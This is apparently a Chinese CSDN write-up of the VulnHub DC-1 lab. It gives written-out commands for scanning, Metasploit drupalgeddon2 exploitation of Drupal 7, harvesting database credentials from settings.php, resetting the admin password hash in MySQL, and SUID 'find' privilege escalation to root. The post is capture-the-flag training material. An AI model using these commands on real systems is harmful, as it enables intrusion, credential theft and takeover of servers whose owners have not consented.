DC-1靶场练习

本文详述了一次针对Drupal CMS的渗透测试过程,包括IP扫描、端口探测、漏洞利用、Meterpreter shell获取、配置文件查找、数据库交互、权限提升和flag收集。在过程中,利用了Drupal的drupalgeddon2漏洞,发现了多个flag,并最终通过提权获取了系统更高级别的访问权限。
摘要由CSDN通过智能技术生成

靶机 DC-1
下载地址:https://www.vulnhub.com/entry/dc-1,292/
将靶机拖入虚拟机运行,打开即可
上来先用kali中的工具扫描以下局域网中的ip

#ip addr
#arp-scan -l
or
#netdiscover -r 192.168.1.0/24 -i eth0

在这里插入图片描述
知道靶机ip后,nmap扫一下端口

nmap -A -p- 192.168.1.101

看到22、80、111端口和其详细信息,了解到该网站由drupal7搭建
在这里插入图片描述

先访问80端口看看
没有发现什么有用的信息
在这里插入图片描述

这里我尝试使用dirsearch目录遍历,很不幸,靶机承受不了这么大的访问量,崩了。。。。
但我们从上面nmap的扫描结果中可以看到80端口下有部分文件,但是没什么用。
尝试从drupal突破,开启msf,搜索可利用的drupal漏洞
在这里插入图片描述

#search drupal

在这里插入图片描述

这里通过尝试2018年的漏洞模块,发现有时可以利用成功,有时利用不成功(通过更换payload利用成功)

#use exploit/unix/webapp/drupal_drupalgeddon2
#set rhost 192.168.1.101
#run
获得meterpreter shell

在这里插入图片描述

直接查看当前目录下的内容,发现flag1.txt,读取flag1.txt

#ls         
#cat flag1.txt

提示我们去寻找cms的配置文件
在这里插入图片描述

网上搜索drupal的配置文件形式为:
在这里插入图片描述

模糊搜索settings.php文件,但meterpreter下使用search命令不成功,所以我们需要进入靶机shell,使用find命令搜索

#meterpreter>shell               
#find -name settings*

在这里插入图片描述

可以看到配置文件位置,对配置文件进行读取

cat ./sites/default/settings.php

发现flag2,及一份数据库登录密码
在这里插入图片描述

通过数据库账号,密码登录mysql数据库,
但现在有一个问题是,我们的shell是非登录shell且是非交互式shell,部分操作无法使用,所以我们需要对shell升级为交互式shell

#bash --login                        //不需要密码登录即可打开的为非登录shell
#echo $-                           //打印$变量查看变量的值,若值中无i (interactive shell)即为非交互式shell
                                        //打印$变量的值为himBH,中有i则为交互式shell

在这里插入图片描述

测试发现靶机中安装了python,那就好办事了,直接python上

python -c 'import pty; pty.spawn("/bin/bash")'

获取到交互式shell后,登录mysql
在这里插入图片描述

进入mysql后,当然直奔用户表去

#show databases;
#use drupaldb
#show tables;
#select * from users;

在这里插入图片描述

尝试对密码进行爆破,但并没有爆破成功,搜到网上的对于drupal密码的破解方式
在这里插入图片描述

我们使用方法二

#php ./scripts/password-hash.sh admin         //生成admin加密后的密码
#update users set pass='密码' where name='admin';     //更新admin用户的密码

在这里插入图片描述

更新成功后登录前台,发现flag3
在这里插入图片描述

关键词为PERMS,FIND,exec,提示我们使用find进行后续操作,
使用find查找看目录下有没有其他flag

find -name flag*

发现/home/flag/flag4.txt,提示我们使用和寻找到flag4一样的方法找寻root中的flag
在这里插入图片描述

要进入root目录需要root权限,所以需要提权
使用find查询具有特殊权限的suid命令

find / -perm -4000 
find / -type f -perm -u=s 2>/dev/null

在这里插入图片描述
在这里插入图片描述

尝试使用find进行提权

touch aaa 
find ./ -name aaa -exec "whoami" \; 
find ./ -name aaa -exec "/bin/sh" \;

提权成功
在这里插入图片描述

最后一个flag
在这里插入图片描述

看网上其他大佬的文章有说/etc/shadow中有一个flag4用户,但我尝试以www读取/etc/shadow发现没有读取权限。而若是获得了root权限却是没必要再去破解/etc/shadow的flag4用户了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值